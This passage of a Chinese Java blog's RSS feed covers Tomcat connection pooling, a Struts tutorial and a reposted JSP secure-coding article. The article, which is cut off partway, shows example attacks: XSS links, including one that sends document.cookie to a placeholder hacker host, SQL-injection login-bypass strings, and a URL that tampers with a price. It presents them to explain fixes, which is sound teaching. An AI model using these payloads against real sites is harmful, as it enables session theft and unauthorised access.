数据库连接数。设为0表示无限制。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maxWait&nbsp;，最大建立连接等待时间。如果超过此时间将接到异常。设为-1表示<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;无限制。<BR>3．在你的web应用程序的web.xml中设置数据源参考，如下：<BR>&nbsp;&nbsp;在&lt;web-app&gt;&lt;/web-app&gt;节点中加入，<BR>&nbsp;&nbsp;&lt;resource-ref&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;description&gt;MySQL&nbsp;DB&nbsp;Connection&nbsp;Pool&lt;/description&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;res-ref-name&gt;jdbc/DBPool&lt;/res-ref-name&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;res-type&gt;javax.sql.DataSource&lt;/res-type&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;res-auth&gt;Container&lt;/res-auth&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;res-sharing-scope&gt;Shareable&lt;/res-sharing-scope&gt;<BR>&nbsp;&lt;/resource-ref&gt;<BR>&nbsp;&nbsp;子节点说明：&nbsp;description，描述信息；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res-ref-name，参考数据源名字，同上一步的属性name；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res-type，资源类型，”javax.sql.DataSource”；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res-auth，”Container”；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res-sharing-scope，”Shareable”；<BR>4．在web应用程序的context.xml中设置数据源链接，如下：<BR>&nbsp;&nbsp;在&lt;Context&gt;&lt;/Context&gt;节点中加入，<BR>&nbsp;&nbsp;&lt;ResourceLink<BR>&nbsp;&nbsp;&nbsp;name="jdbc/DBPool"&nbsp;<BR>&nbsp;&nbsp;&nbsp;type="javax.sql.DataSource"&nbsp;<BR>&nbsp;&nbsp;&nbsp;global="jdbc/DBPool"/&gt;<BR>&nbsp;&nbsp;&nbsp;属性说明：name，同第2步和第3步的属性name值，和子节点res-ref-name值；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type，同样取”javax.sql.DataSource”；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global，同name值。<BR>&nbsp;<BR>至此，设置完成，下面是如何使用数据库连接池。<BR>1．建立一个连接池类，DBPool.java，用来创建连接池，代码如下：<BR>import&nbsp;javax.naming.Context;<BR>import&nbsp;javax.naming.InitialContext;<BR>import&nbsp;javax.naming.NamingException;<BR>import&nbsp;javax.sql.DataSource;<BR><BR>public&nbsp;class&nbsp;DBPool&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;DataSource&nbsp;pool;<BR>&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Context&nbsp;env&nbsp;=&nbsp;null;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;env&nbsp;=&nbsp;(Context)&nbsp;new&nbsp;InitialContext().lookup("java:comp/env");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pool&nbsp;=&nbsp;(DataSource)env.lookup("jdbc/DBPool");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(pool==null)&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.err.println("'DBPool'&nbsp;is&nbsp;an&nbsp;unknown&nbsp;DataSource");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch(NamingException&nbsp;ne)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ne.printStackTrace();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;DataSource&nbsp;getPool()&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;pool;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR><BR>2．在要用到数据库操作的类或jsp页面中，用DBPool.getPool().getConnection()，获得一个Connection对象，就可以进行数据库操作，最后别忘了对Connection对象调用close()方法，注意：这里不会关闭这个Connection，而是将这个Connection放回数据库连接池。<BR><img src ="http://www.blogjava.net/frankboy/aggbug/27750.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2006-01-12 14:20 <a href="http://www.blogjava.net/frankboy/archive/2006/01/12/27750.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Struts初步知识</title><link>http://www.blogjava.net/frankboy/archive/2006/01/10/27388.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 10 Jan 2006 06:59:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2006/01/10/27388.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/27388.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2006/01/10/27388.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/27388.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/27388.html</trackback:ping><description><![CDATA[<P>1.如何安装Struts： <BR>&nbsp;&nbsp;&nbsp; 首先到<A href="http://jakarta.apache.org/Struts">http://jakarta.apache.org/Struts</A>下载Struts，建议使用release版，现在最高版本为1.2.6，有多种OS版本(windows,linus...),下载后解压开来，可以看到这个目录：lib和webapps，webapps下有一些WAR文件。假设你的Tomcat装在c:Tomcat下，则将那些WAR文件拷贝到C:Tomcatwebapps，重新启动Tomcat即可。打开浏览器，在地址栏中输入：<A href="http://localhost:8080/Struts-example/index.jsp">http://localhost:8080/Struts-example/index.jsp</A>，若能见到“powered by Struts”的深蓝色图标，即说明成功了。这是Struts自带的一个例子，附有详细的说明文档，可以做为初学者的入门教程。另外，Struts还提供了一系统实用对象：XML处理、通过Java reflection APIs自动处理JavaBeans属性、国际化的提示和消息等 </P><BR>
<P>2.练习做一个实例： <BR>&nbsp;&nbsp;&nbsp; 一个用户注册系统，用户通过网页输入相关信息：注册ID号，密码，EMAIL，若注册成功，则返回成功提示信息，反之出现注册失败提示信息。 <BR>以下是相关文件的部分核心代码。 </P><BR>
<P>项目建立： <BR>正式开发前，需要在Tocmat（我的tomcat装在c: omcat）中建立此项目。比较快的一种建立方式为：在C: omcatwebapps下新建目录test，再将C: omcatwebappsstruts-example下的 <BR>WEB-INF目录拷贝到test目录下，然后将testWEB-INF下的src和classes目录清空，以及struts-config.xml文件中内容清空即可。这样，我们需要的Struts类包及相关的配置文件就都齐了。 <BR>开发时，将JSP文件放在test目录下，Java原文件放在testWEB-INFsrc下，编译后的类文件放在testWEB-INFclasses下。 </P><BR>
<P>注册页面：reguser.jsp </P><BR>
<P>&lt;%@ page contentType="text/html;charset=UTF-8" language="java" %&gt; <BR>&lt;%@ taglib uri="/WEB-INF/Struts-bean.tld" prefix="bean" %&gt; <BR>&lt;%@ taglib uri="/WEB-INF/Struts-html.tld" prefix="html" %&gt; <BR>&lt;html:html locale="true"&gt; <BR>&lt;head&gt; <BR>&lt;title&gt;RegUser&lt;/title&gt; <BR>&lt;html:base/&gt; <BR>&lt;/head&gt; <BR>&lt;body bgcolor="white"&gt; <BR>&lt;html:errors/&gt; <BR>&lt;html:form action="/regUserAction" focus="logname"&gt; <BR>&lt;table border="0" width="100%"&gt; <BR>&lt;tr&gt; <BR>&lt;th align="right"&gt; <BR>Logname: <BR>&lt;/th&gt; <BR>&lt;td align="left"&gt; <BR>&lt;html:text property="logname" size="20" maxlength="20"/&gt; <BR>&lt;/td&gt; <BR>&lt;/tr&gt; <BR>&lt;tr&gt; <BR>&lt;th align="right"&gt; <BR>Password: <BR>&lt;/th&gt; <BR>&lt;td align="left"&gt; <BR>&lt;html:password property="password" size="20" maxlength="20"/&gt; <BR>&lt;/td&gt; <BR>&lt;/tr&gt; <BR>&lt;tr&gt; <BR>&lt;th align="right"&gt; <BR>E-mail: <BR>&lt;/th&gt; <BR>&lt;td align="left"&gt; <BR>&lt;html:password property="email" size="30" maxlength="50"/&gt; <BR>&lt;/td&gt; <BR>&lt;/tr&gt; <BR>&lt;tr&gt; <BR>&lt;td align="right"&gt; <BR>&lt;html:submit property="submit" value="Submit"/&gt; <BR>&lt;/td&gt; <BR>&lt;td align="left"&gt; <BR>&lt;html:reset/&gt; <BR>&lt;/td&gt; <BR>&lt;/tr&gt; <BR>&lt;/table&gt; <BR>&lt;/html:form&gt; <BR>&lt;/body&gt; <BR>&lt;/html:html&gt; </P><BR>
<P>此JSP页面不同于普通的JSP页，因为它大量运用了taglib，这些taglib对初学者而言，可能难于掌握，可这却是Struts的精华之一。灵活运用，将大大提高开发效率。 </P><BR>
<P>Struts-config.xml： </P><BR>
<P>&lt;Struts-config&gt; <BR>&lt;form-beans&gt; <BR>&lt;form-bean name="regUserForm" <BR>type="org.cjea.Struts.example. RegUserForm "/&gt; <BR>&lt;/form-beans&gt; <BR>&lt;action-mappings&gt; <BR>&lt;action path="/regUserAction" <BR>type=" org.cjea.Struts.example.RegUserAction " <BR>attribute=" regUserForm " <BR>scope="request" <BR>validate="false"&gt; <BR>&lt;forward name="failure" path="/ messageFailure.jsp"/&gt; <BR>&lt;forward name="success" path="/ messageSuccess.jsp"/&gt; <BR>&lt;/action&gt; <BR>&lt;/action-mappings&gt; <BR>&lt;/Struts-config&gt; </P><BR>
<P>Struts的核心是Controller，即ActionServlet，而ActionServlet的核心就是Struts-config.xml，Struts-config.xml集中了所有页面的导航定义。对于大型的WEB项目，通过此配置文件即可迅速把握其脉络，这不管是对于前期的开发，还是后期的维护或升级都是大有裨益的。掌握Struts-config.xml是掌握Struts的关键所在。 </P><BR>
<P>FormBean：RegUserForm </P><BR>
<P>package org.cjea.Struts.example; </P><BR>
<P>import javax.Servlet.http.HttpServletRequest; <BR>import org.apache.Struts.action.ActionForm; <BR>import org.apache.Struts.action.ActionMapping; </P><BR>
<P>public final class RegUserForm extends ActionForm{ </P><BR>
<P>private String logname; <BR>private String password; <BR>private String email; </P><BR>
<P>public RegUserForm(){ <BR>logname = null; <BR>password = null; <BR>email = null; <BR>} </P><BR>
<P>public String getLogName() { <BR>return this.logname; <BR>} <BR>public void setLogName(String logname) { <BR>this.logname = logname; <BR>} <BR>public void setPassWord(String password) { <BR>this.password = password; <BR>} <BR>public String getPassWord() { <BR>return this.password; <BR>} <BR>public void setEmail(String email) { <BR>this.email = email; <BR>} <BR>public String getEmail() { <BR>return this.email; <BR>} </P><BR>
<P>public void reset(ActionMapping mapping, HttpServletRequest request) <BR>{ <BR>logname = null; <BR>password = null; <BR>email = null; <BR>} <BR>} </P><BR>
<P>每一个FormBean 都必须继承ActionForm类，FormBean是对页面请求的封装。即把HTTP request 封装在一个对象中，需要说明的一点就是多个HTTP request可以共用一个FormBean，便于维护和重用。 </P><BR>
<P>ActionBean：RegUserAction </P><BR>
<P>package org.cjea.Struts.example; </P><BR>
<P>import javax.Servlet.http.*; <BR>import org.apache.Struts.action.*; </P><BR>
<P>public final class RegUserAction extends Action <BR>{ </P><BR>
<P>public ActionForward perform(ActionMapping mapping, <BR>ActionForm form, HttpServletRequest req, <BR>HttpServletResponse res) <BR>{ <BR>String title = req.getParameter("title"); <BR>String password = req.getParameter("password"); <BR>String email = req.getParameter("email"); <BR>/* <BR>取得用户请求,做相应数据库操作，略 <BR>*/ <BR>} <BR>} </P><BR>
<P>FormBean的产生是为了提供数据给ActionBean，在ActionBean中可以取得FormBean中封装的数据，经相应的逻辑处理后，调用业务方法完成相应业务要求。 </P><BR>
<P>Servlet的演变：在常规的 JSP，Servlet，JavaBean三层结构中，JSP实现View的功能，Servlet实现Controller的功能，JavaBean实现Model的实现。 </P><BR>
<P>在Struts中，将常规情况下的Servlet拆分与ActionServlet、FormBean、ActionBean三个部分。ActionServlet配合Struts-config.xml，专职完成页面导航，而不再负责具体的数据获取与相应逻辑，这两部分功能由FormBean和ActionBean来完成。 </P><BR>
<P>3.Struts优缺点 <BR>优点： <BR>Struts跟Tomcat、Turbine等诸多Apache项目一样，是开源软件，这是它的一大优点。使开发者能更深入的了解其内部实现机制。 <BR>除此之外，Struts的优点主要集中体现在两个方面：Taglib和页面导航。Taglib是Struts的标记库，灵活动用，能大大提高开发效率。另外，就目前国内的JSP开发者而言，除了使用JSP自带的常用标记外，很少开发自己的标记，或许Struts是一个很好的起点。 <BR>关于页面导航，我认为那将是今后的一个发展方向，事实上，这样做，使系统的脉络更加清晰。通过一个配置文件，即可把握整个系统各部分之间的联系，这对于后期的维护有着莫大的好处。尤其是当另一批开发者接手这个项目时，这种优势体现得更加明显。 <BR>缺点： <BR>Taglib是Struts的一大优势，但对于初学者而言，却需要一个持续学习的过程，甚至还会打乱你网页编写的习惯，但是，当你习惯了它时，你会觉得它真的很棒。 <BR>Struts将MVC的Controller一分为三，在获得结构更加清晰的同时，也增加了系统的复杂度。 <BR>Struts从产生到现在还不到半年，但已逐步越来越多运用于商业软件。虽然它现在还有不少缺点，但它是一种非常优秀的J2EE MVC实现方式，如果你的系统准备采用J2EE MVC架构，那么，不妨考虑一下Struts。 </P><BR>
<P>4.Struts实施经验： <BR>1)、基于Struts架构的项目开发，首先需要有一个很好的整体规划，整个系统中包括哪几个模块，每个模块各需要多少FormBean和ActionBean等，而且最好有专人负责Struts-config.xml的管理。开发基于Struts的项目的难点在于配置管理，尤其是对Struts-config.xml的管理 </P><BR>
<P>2)、如果你的项目非常紧，并且项目组中又没有富有经验的Struts开发人员，建议不要冒然采用Struts。Struts的掌握需要一个过程，对于一个熟练的JSP程序员，自学大概需要半个月左右的时间。如果结合titls，则需要更长的时间 </P><BR>
<P>3)、如果你在网页中大量运用taglib，那么你的美工将做出部分牺牲。当你结合Tiles，功能增强的同时，这种牺牲尤为明显。当然，你对功能和美观的取舍由你自己决定 </P><BR>
<P>4)、Taglib是一个好东西，但灵活运用它却需要一个过程，如果你不想在Taglib上花太多的时间，那么只需理解与FORM有关的几个标记，其它的标记就放着吧，以后再看，先去研究ActionServlet和Struts-config.xml，你会觉得很有成就感 </P><BR>
<P>5)、Struts是否只适合于大型项目呢？No！Struts适合于各种大小的项目，当然，对于大型项目，它所体现出来的优势更加明显。</P><img src ="http://www.blogjava.net/frankboy/aggbug/27388.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2006-01-10 14:59 <a href="http://www.blogjava.net/frankboy/archive/2006/01/10/27388.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简谈jsp安全编程(转)</title><link>http://www.blogjava.net/frankboy/archive/2006/01/09/27236.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Mon, 09 Jan 2006 03:35:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2006/01/09/27236.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/27236.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2006/01/09/27236.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/27236.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/27236.html</trackback:ping><description><![CDATA[Java Server Page（JSP）作为建立动态网页的技术正在不断升温。JSP和ASP、PHP、工作机制不太一样。一般说来，JSP页面在执行时是编译式，而不是解释式的。首次调用JSP文件其实是执行一个编译为Servlet的过程。当浏览器向服务器请求这一个JSP文件的时候，服务器将检查自上次编译后JSP文件是否有改变，如果没有改变，就直接执行Servlet，而不用再重新编译，这样，效率便得到了明显提高。 <BR>&nbsp;&nbsp; 今天我将和大家一起从脚本编程的角度看JSP的安全，那些诸如源码暴露类的安全隐患就不在这篇文章讨论范围之内了。写这篇文章的主要目的是给初学JSP编程的朋友们提个醒，从一开始就要培养安全编程的意识，不要犯不该犯的错误，避免可以避免的损失。另外，我也是初学者，如有错误或其它意见请发帖赐教。 <BR><BR>一、认证不严——低级失误 <BR>&nbsp;&nbsp; 在溢洋论坛v1.12 修正版中， <BR>user_manager.jsp是用户管理的页面，作者知道它的敏感性，加上了一把锁： <BR>if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系统管理员"))) <BR>{ <BR>response.sendRedirect("err.jsp?id=14"); <BR>return; <BR>} <BR>&nbsp;&nbsp; 如果要查看、修改某用户的信息，就要用modifyuser_manager.jsp这个文件。管理员提交 <BR><A href="http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51" target=_blank>http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51</A> <BR>就是查看、修改ID为51的用户的资料（管理员默认的用户ID为51）。但是，如此重要的文件竟缺乏认证，普通用户（包括游客）也直接提交上述请求也可以对其一览无余（密码也是明文存储、显示的）。modifyuser_manage.jsp同样是门户大开，直到恶意用户把数据更新的操作执行完毕，重定向到user_manager.jsp的时候，他才会看见那个姗姗来迟的显示错误的页面。显然，只锁一扇门是远远不够的，编程的时候一定要不厌其烦地为每一个该加身份认证的地方加上身份认证。 <BR><BR>二、守好JavaBean的入口 <BR>&nbsp;&nbsp; JSP组件技术的核心是被称为bean的java组件。在程序中可把逻辑控制、数据库操作放在javabeans组件中，然后在JSP文件中调用它，这样可增加程序的清晰度及程序的可重用性。和传统的ASP或PHP页面相比，JSP页面是非常简洁的，因为许多动态页面处理过程可以封装到JavaBean中。 <BR>&nbsp;&nbsp; 要改变JavaBean属性，要用到“&lt;jsp:setProperty&gt;”标记。 <BR>下面的代码是假想的某电子购物系统的源码的一部分，这个文件是用来显示用户的购物框中的信息的，而checkout.jsp是用来结帐的。 <BR>&lt;jsp:useBean id="myBasket" class="BasketBean"&gt; <BR>&lt;jsp:setProperty name="myBasket" property="*"/&gt; <BR>&lt;jsp:useBean&gt; <BR>&lt;html&gt; <BR>&lt;head&gt;&lt;title&gt;Your Basket&lt;/title&gt;&lt;/head&gt; <BR>&lt;body&gt; <BR>&lt;p&gt; <BR>You have added the item <BR>&lt;jsp::getProperty name="myBasket" property="newItem"/&gt; <BR>to your basket.&nbsp;&nbsp; <BR>&lt;br/&gt; <BR>Your total is $ <BR>&lt;jsp::getProperty name="myBasket" property="balance"/&gt; <BR>Proceed to &lt;a href="checkout.jsp"&gt;checkout&lt;/a&gt; <BR>&nbsp;&nbsp; 注意到property="*"了吗？这表明用户在可见的JSP页面中输入的，或是直接通过Query String提交的全部变量的值，将存储到匹配的bean属性中。 <BR>一般，用户是这样提交请求的： <BR><A href="http://www.somesite.com/" target=_blank>http://www.somesite.com</A> /addToBasket.jsp?newItem=ITEM0105342 <BR>但是不守规矩的用户呢？他们可能会提交： <BR><A href="http://www.somesite.com/" target=_blank>http://www.somesite.com</A> /addToBasket.jsp?newItem=ITEM0105342&amp;balance=0 <BR>这样，balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候，费用就全免了。 <BR>&nbsp;&nbsp; 这与PHP中全局变量导致的安全问题如出一辙。由此可见：“property="*"”一定要慎用！ <BR><BR>三、长盛不衰的跨站脚本 <BR>&nbsp;&nbsp; 跨站脚本（Cross Site Scripting）攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本，窃取浏览此页面的用户的隐私，改变用户的设置，破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响，但对客户端的安全构成严重的威胁。 <BR>&nbsp;&nbsp; 以仿动网的阿菜论坛（beta-1）举个最简单的例子。当我们提交 <BR><A href="http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert" target=_blank>http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser&lt;;script&gt;alert</A>(document.cookie)&lt;/script&gt; <BR>便能弹出包含自己cookie信息的对话框。而提交 <BR><A href="http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>" target=_blank>http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser&lt;;script&gt;document.location='http://www.163.com'&lt;/script&gt;</A> <BR>就能重定向到网易。 <BR>&nbsp;&nbsp; 由于在返回“name”变量的值给客户端时，脚本没有进行任何编码或过滤恶意代码，当用户访问嵌入恶意“name”变量数据链接时，会导致脚本代码在用户浏览器上执行，可能导致用户隐私泄露等后果。比如下面的链接： <BR><A href="http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script>" target=_blank>http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser&lt;;script&gt;document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie&lt;/script&gt;</A> <BR>xxx.xxx用于收集后边跟的参数，而这里参数指定的是document.cookie，也就是访问此链接的用户的cookie。在ASP世界中，很多人已经把偷cookie的技术练得炉火纯青了。在JSP里，读取cookie也不是难事。当然，跨站脚本从来就不会局限于偷cookie这一项功能，相信大家都有一定了解，这里就不展开了。 <BR>&nbsp;&nbsp; 对所有动态页面的输入和输出都应进行编码，可以在很大程度上避免跨站脚本的攻击。遗憾的是，对所有不可信数据编码是资源密集型的工作，会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤，比如下面的代码就把危险的字符进行替换： <BR>&lt;% String message = request.getParameter("message"); <BR>message = message.replace ('&lt;','_'); <BR>message = message.replace ('&gt;','_'); <BR>message = message.replace ('"','_'); <BR>message = message.replace ('\'','_'); <BR>message = message.replace ('%','_'); <BR>message = message.replace (';','_'); <BR>message = message.replace ('(','_'); <BR>message = message.replace (')','_'); <BR>message = message.replace ('&amp;','_'); <BR>message = message.replace ('+','_'); %&gt; <BR>&nbsp;&nbsp; 更积极的方式是利用正则表达式只允许输入指定的字符： <BR>public boolean isValidInput(String str) <BR>{ <BR>if(str.matches("[a-z0-9]+")) return true; <BR>else return false; <BR>} <BR><BR>四、时刻牢记SQL注入 <BR>&nbsp;&nbsp; 一般的编程书籍在教初学者的时候都不注意让他们从入门时就培养安全编程的习惯。著名的《JSP编程思想与实践》就是这样向初学者示范编写带数据库的登录系统的（数据库为MySQL）： <BR>Statement stmt = conn.createStatement(); <BR>String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'"; <BR>ResultSet rs = stmt.executeQuery(checkUser); <BR>if(rs.next()) <BR>&nbsp;&nbsp; response.sendRedirect("SuccessLogin.jsp"); <BR>else <BR>&nbsp;&nbsp; response.sendRedirect("FailureLogin.jsp"); <BR>&nbsp;&nbsp; 这样使得尽信书的人长期使用这样先天“带洞”的登录代码。如果数据库里存在一个名叫“jack”的用户，那么在不知道密码的情况下至少有下面几种方法可以登录： <BR>用户名：jack <BR>密码：' or 'a'='a <BR>用户名：jack <BR>密码：' or 1=1/* <BR>用户名：jack' or 1=1/* <BR>密码：（任意） <BR>lybbs（凌云论坛）ver 2.9.Server在LogInOut.java中是这样对登录提交的数据进行检查的： <BR>if(s.equals("") ││ s1.equals("")) <BR>&nbsp;&nbsp; throw new UserException("用户名或密码不能空。"); <BR>if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1) <BR>&nbsp;&nbsp; throw new UserException("用户名不能包括 ' \" \\ , 等非法字符。"); <BR>if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1) <BR>&nbsp;&nbsp;&nbsp;&nbsp; throw new UserException("密码不能包括 ' \" \\ * 等非法字符。"); <BR>if(s.startsWith("　") ││ s1.startsWith("　")) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new UserException("用户名或密码中不能用空格。"); <BR>&nbsp;&nbsp; 但是我不清楚为什么他只对密码而不对用户名过滤星号。另外，正斜杠似乎也应该被列到“黑名单”中。我还是认为用正则表达式只允许输入指定范围内的字符来得干脆。 <BR>&nbsp;&nbsp; 这里要提醒一句：不要以为可以凭借某些数据库系统天生的“安全性”就可以有效地抵御所有的攻击。pinkeyes的那篇《PHP注入实例》就给那些依赖PHP的配置文件中的“magic_quotes_gpc = On”的人上了一课。 <BR><BR>五、String对象带来的隐患 <BR>&nbsp;&nbsp; Java平台的确使安全编程更加方便了。Java中无指针，这意味着 Java 程序不再像C那样能对地址空间中的任意内存位置寻址了。在JSP文件被编译成 .class 文件时会被检查安全性问题，例如当访问超出数组大小的数组元素的尝试将被拒绝，这在很大程度上避免了缓冲区溢出攻击。但是，String对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String 对象中的，则直到对它进行垃圾收集或进程终止之前，密码会一直驻留在内存中。即使进行了垃圾收集，它仍会存在于空闲内存堆中，直到重用该内存空间为止。密码 String 在内存中驻留得越久，遭到窃听的危险性就越大。更糟的是，如果实际内存减少，则操作系统会将这个密码 String 换页调度到磁盘的交换空间，因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低（但不是消除），您应该将密码存储在 char 数组中，并在使用后对其置零（String 是不可变的，无法对其置零）。 <BR><BR>六、线程安全初探 <BR>&nbsp;&nbsp; “JAVA能做的，JSP就能做”。与ASP、PHP等脚本语言不一样，JSP默认是以多线程方式执行的。以多线程方式执行可大大降低对系统的资源需求，提高系统的并发量及响应时间。线程在程序中是独立的、并发的执行路径，每个线程有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行，但也有某些操作（如更新全局标志或处理共享文件）不能并行进行。如果没做好线程的同步，在大并发量访问时，不需要恶意用户的“热心参与”，问题也会出现。最简单的解决方案就是在相关的JSP文件中加上: &lt;%@ page isThreadSafe="false" %&gt;指令，使它以单线程方式执行，这时，所有客户端的请求以串行方式执行。这样会严重降低系统的性能。我们可以仍让JSP文件以多线程方式执行，通过对函数上锁来对线程进行同步。一个函数加上synchronized 关键字就获得了一个锁。看下面的示例： <BR>public class MyClass{ <BR>&nbsp;&nbsp; int a; <BR>&nbsp;&nbsp; public Init() {//此方法可以多个线程同时调用 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a = 0; <BR>&nbsp;&nbsp; } <BR>&nbsp;&nbsp; public synchronized void Set() {//两个线程不能同时调用此方法 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(a&gt;5) { <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a= a-5; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp; } <BR>} <BR>&nbsp;&nbsp; 但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变量。因为实例变量是在堆中分配的，被属于该实例的所有线程共享，不是线程安全的，而局部变量在堆栈中分配，因为每个线程都有它自己的堆栈空间，所以这样线程就是安全的了。比如凌云论坛中添加好友的代码： <BR>public void addFriend(int i, String s, String s1) <BR>&nbsp;&nbsp; throws DBConnectException <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp; try <BR>&nbsp;&nbsp;&nbsp;&nbsp; { <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if…… <BR>else 